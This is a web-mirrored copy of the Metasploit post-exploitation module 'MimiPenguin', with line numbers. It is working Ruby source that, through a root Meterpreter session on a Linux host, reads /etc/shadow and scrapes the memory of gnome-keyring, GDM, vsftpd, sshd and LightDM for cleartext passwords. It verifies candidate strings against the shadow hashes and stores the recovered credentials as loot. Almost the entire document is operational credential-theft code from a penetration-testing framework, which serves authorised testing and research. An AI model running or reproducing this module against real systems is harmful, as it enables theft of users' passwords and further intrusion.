Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/mimipenguin.rb
24491 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'unix_crypt'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Linux::Priv
10
include Msf::Post::Linux::System
11
include Msf::Post::Linux::Process
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MimiPenguin',
18
'Description' => %q{
19
This searches process memory for needles that indicate
20
where cleartext passwords may be located. If any needles
21
are discovered in the target process memory, collected
22
strings in adjacent memory will be hashed and compared
23
with password hashes found in `/etc/shadow`.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'huntergregal', # MimiPenguin
28
'bcoles', # original MimiPenguin module, table and python code
29
'Shelby Pace' # metasploit module
30
],
31
'Platform' => [ 'linux' ],
32
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Targets' => [[ 'Auto', {} ]],
35
'Privileged' => true,
36
'References' => [
37
[ 'URL', 'https://github.com/huntergregal/mimipenguin' ],
38
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919' ],
39
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490' ],
40
[ 'CVE', '2018-20781' ],
41
[ 'ATT&CK', Mitre::Attack::Technique::T1003_007_PROC_FILESYSTEM ],
42
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
43
],
44
'DisclosureDate' => '2018-05-23',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Stability' => [CRASH_SAFE],
48
'Reliability' => [],
49
'SideEffects' => []
50
},
51
'Compat' => {
52
'Meterpreter' => {
53
'Commands' => %w[
54
stdapi_sys_process_attach
55
stdapi_sys_process_memory_read
56
stdapi_sys_process_memory_search
57
]
58
}
59
}
60
)
61
)
62
end
63
64
def get_user_names_and_hashes
65
shadow_contents = read_file('/etc/shadow')
66
fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?
67
vprint_status('Storing shadow file...')
68
store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)
69
70
users = []
71
lines = shadow_contents.split
72
lines.each do |line|
73
line_arr = line.split(':')
74
next if line_arr.empty?
75
76
user_name = line_arr&.first
77
hash = line_arr&.second
78
next unless hash.start_with?('$')
79
next if hash.nil? || user_name.nil?
80
81
users << { 'username' => user_name, 'hash' => hash }
82
end
83
84
users
85
end
86
87
def configure_passwords(user_data = [])
88
user_data.each do |info|
89
hash = info['hash']
90
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)
91
info['type'] = hash_format.empty? ? 'unsupported' : hash_format
92
93
salt = ''
94
if info['type'] == 'bf'
95
arr = hash.split('$')
96
next if arr.length < 4
97
98
cost = arr[2]
99
salt = arr[3][0..21]
100
info['cost'] = cost
101
elsif info['type'] == 'yescrypt'
102
salt = hash[0...29]
103
else
104
salt = hash.split('$')[2]
105
end
106
next if salt.nil?
107
108
info['salt'] = salt
109
end
110
111
user_data
112
end
113
114
def get_matches(target_info = {})
115
if target_info.empty?
116
vprint_status('Invalid target info supplied')
117
return nil
118
end
119
120
target_pids = pidof(target_info['name'])
121
if target_pids.nil?
122
print_bad("PID for #{target_info['name']} not found.")
123
return nil
124
end
125
126
target_info['matches'] = {}
127
target_info['pids'] = target_pids
128
target_info['pids'].each_with_index do |target_pid, _ind|
129
vprint_status("Searching PID #{target_pid}...")
130
response = session.sys.process.memory_search(pid: target_pid, needles: target_info['needles'], min_match_length: 5, max_match_length: 500)
131
132
matches = []
133
response.each(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) do |res|
134
match_data = {}
135
match_data['match_str'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
136
match_data['match_offset'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR)
137
match_data['sect_start'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR)
138
match_data['sect_len'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN)
139
140
matches << match_data
141
end
142
143
target_info['matches'][target_pid] = matches.empty? ? nil : matches
144
end
145
end
146
147
def format_addresses(addr_line)
148
address = addr_line.split&.first
149
start_addr, end_addr = address.split('-')
150
start_addr = start_addr.to_i(16)
151
end_addr = end_addr.to_i(16)
152
153
{ 'start' => start_addr, 'end' => end_addr }
154
end
155
156
# Selects memory regions to read based on locations
157
# of matches
158
def choose_mem_regions(pid, match_data = [])
159
return [] if match_data.empty?
160
161
mem_regions = []
162
match_data.each do |match|
163
next unless match.key?('sect_start') && match.key?('sect_len')
164
165
start = match.fetch('sect_start')
166
len = match.fetch('sect_len')
167
mem_regions << { 'start' => start, 'length' => len }
168
end
169
170
mem_regions.uniq!
171
mem_data = read_file("/proc/#{pid}/maps")
172
return mem_regions if mem_data.nil?
173
174
lines = mem_data.split("\n")
175
updated_regions = mem_regions.clone
176
if mem_regions.length == 1
177
match_addr = mem_regions[0]['start'].to_s(16)
178
match_ind = lines.index { |line| line.split('-').first.include?(match_addr) }
179
prev = lines[match_ind - 1]
180
if prev && prev.include?('00000000 00:00 0')
181
formatted = format_addresses(prev)
182
start_addr = formatted['start']
183
end_addr = formatted['end']
184
length = end_addr - start_addr
185
186
updated_regions << { 'start' => start_addr, 'length' => length }
187
end
188
189
post = lines[match_ind + 1]
190
if post && post.include?('00000000 00:00 0')
191
formatted = format_addresses(post)
192
start_addr = formatted['start']
193
end_addr = formatted['end']
194
length = end_addr - start_addr
195
196
updated_regions << { 'start' => start_addr, 'length' => length }
197
end
198
199
return updated_regions
200
end
201
202
mem_regions.each_with_index do |region, index|
203
next if index == 0
204
205
first_addr = mem_regions[index - 1]['start']
206
curr_addr = region['start']
207
first_addr = first_addr.to_s(16)
208
curr_addr = curr_addr.to_s(16)
209
first_index = lines.index { |line| line.start_with?(first_addr) }
210
curr_index = lines.index { |line| line.start_with?(curr_addr) }
211
next if first_index.nil? || curr_index.nil?
212
213
between_vals = lines.values_at(first_index + 1...curr_index)
214
between_vals = between_vals.select { |line| line.include?('00000000 00:00 0') }
215
if between_vals.empty?
216
next unless region == mem_regions.last
217
218
adj_region = lines[curr_index + 1]
219
return updated_regions if adj_region.nil?
220
221
formatted = format_addresses(adj_region)
222
start_addr = formatted['start']
223
end_addr = formatted['end']
224
length = end_addr - start_addr
225
updated_regions << { 'start' => start_addr, 'length' => length }
226
return updated_regions
227
end
228
229
between_vals.each do |addr_line|
230
formatted = format_addresses(addr_line)
231
start_addr = formatted['start']
232
end_addr = formatted['end']
233
length = end_addr - start_addr
234
updated_regions << { 'start' => start_addr, 'length' => length }
235
end
236
end
237
238
updated_regions
239
end
240
241
def get_printable_strings(pid, start_addr, section_len)
242
lines = []
243
curr_addr = start_addr
244
max_addr = start_addr + section_len
245
246
while curr_addr < max_addr
247
data = mem_read(curr_addr, 1000, pid: pid)
248
lines << data.split(/[^[:print:]]/)
249
lines = lines.flatten
250
curr_addr += 800
251
end
252
253
lines.reject! { |line| line.length < 4 }
254
lines
255
end
256
257
def get_python_version
258
@python_vers ||= command_exists?('python3') ? 'python3' : ''
259
260
if @python_vers.empty?
261
@python_vers ||= command_exists?('python') ? 'python' : ''
262
end
263
end
264
265
def check_for_valid_passwords(captured_strings, user_data, process_name)
266
captured_strings.each do |str|
267
user_data.each do |pass_info|
268
salt = pass_info['salt']
269
hash = pass_info['hash']
270
pass_type = pass_info['type']
271
272
case pass_type
273
when 'md5'
274
hashed = UnixCrypt::MD5.build(str, salt)
275
when 'bf'
276
BCrypt::Engine.cost = pass_info['cost'] || 12
277
hashed = BCrypt::Engine.hash_secret(str, hash[0..28])
278
when /sha256/
279
hashed = UnixCrypt::SHA256.build(str, salt)
280
when /sha512/
281
hashed = UnixCrypt::SHA512.build(str, salt)
282
when 'yescrypt'
283
get_python_version
284
next if @python_vers.empty?
285
286
if @python_vers == 'python3'
287
code = "import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))"
288
cmd = "python3 -c \"#{code}\""
289
else
290
code = "import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))"
291
cmd = "python -c \"#{code}\""
292
end
293
hashed = cmd_exec(cmd).to_s.strip
294
when 'unsupported'
295
next
296
end
297
298
next unless hashed == hash
299
300
pass_info['password'] = str
301
pass_info['process'] = process_name
302
end
303
end
304
end
305
306
def run
307
fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
308
user_data = get_user_names_and_hashes
309
fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
310
password_data = configure_passwords(user_data)
311
312
target_proc_info = [
313
{
314
'name' => 'gnome-keyring-daemon',
315
'needles' => [
316
'^+libgck\\-1.so\\.0$',
317
'libgcrypt\\.so\\..+$',
318
'linux-vdso\\.so\\.1$',
319
'libc\\.so\\.6$'
320
]
321
},
322
{
323
'name' => 'gdm-password',
324
'needles' => [
325
'^_pammodutil_getpwnam_root_1$',
326
'^gkr_system_authtok$'
327
]
328
},
329
{
330
'name' => 'vsftpd',
331
'needles' => [
332
'^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$'
333
]
334
},
335
{
336
'name' => 'sshd',
337
'needles' => [
338
'^sudo.+'
339
]
340
},
341
{
342
'name' => 'lightdm',
343
'needles' => [
344
'^_pammodutil_getspnam_'
345
]
346
}
347
]
348
349
captured_strings = []
350
target_proc_info.each do |info|
351
print_status("Checking for matches in process #{info['name']}")
352
match_set = get_matches(info)
353
if match_set.nil?
354
vprint_status("No matches found for process #{info['name']}")
355
next
356
end
357
358
vprint_status('Choosing memory regions to search')
359
next if info['pids'].empty?
360
next if info['matches'].values.all?(&:nil?)
361
362
info['matches'].each do |pid, set|
363
next unless set
364
365
search_regions = choose_mem_regions(pid, set)
366
next if search_regions.empty?
367
368
search_regions.each { |reg| captured_strings << get_printable_strings(pid, reg['start'], reg['length']) }
369
captured_strings.flatten!
370
captured_strings.uniq!
371
check_for_valid_passwords(captured_strings, password_data, info['name'])
372
captured_strings = []
373
end
374
end
375
376
results = password_data.select { |res| res.key?('password') && !res['password'].nil? }
377
fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?
378
print_good("Found #{results.length} valid credential(s)!")
379
380
table = Rex::Text::Table.new(
381
'Header' => 'Credentials',
382
'Indent' => 2,
383
'SortIndex' => 0,
384
'Columns' => [ 'Process Name', 'Username', 'Password' ]
385
)
386
387
results.each do |res|
388
table << [ res['process'], res['username'], res['password'] ]
389
store_valid_credential(
390
user: res['username'],
391
private: res['password'],
392
private_type: :password
393
)
394
end
395
396
print_line
397
print_line(table.to_s)
398
path = store_loot(
399
'mimipenguin.csv',
400
'text/plain',
401
session,
402
table.to_csv,
403
nil
404
)
405
406
print_status("Credentials stored in #{path}")
407
end
408
end
409
410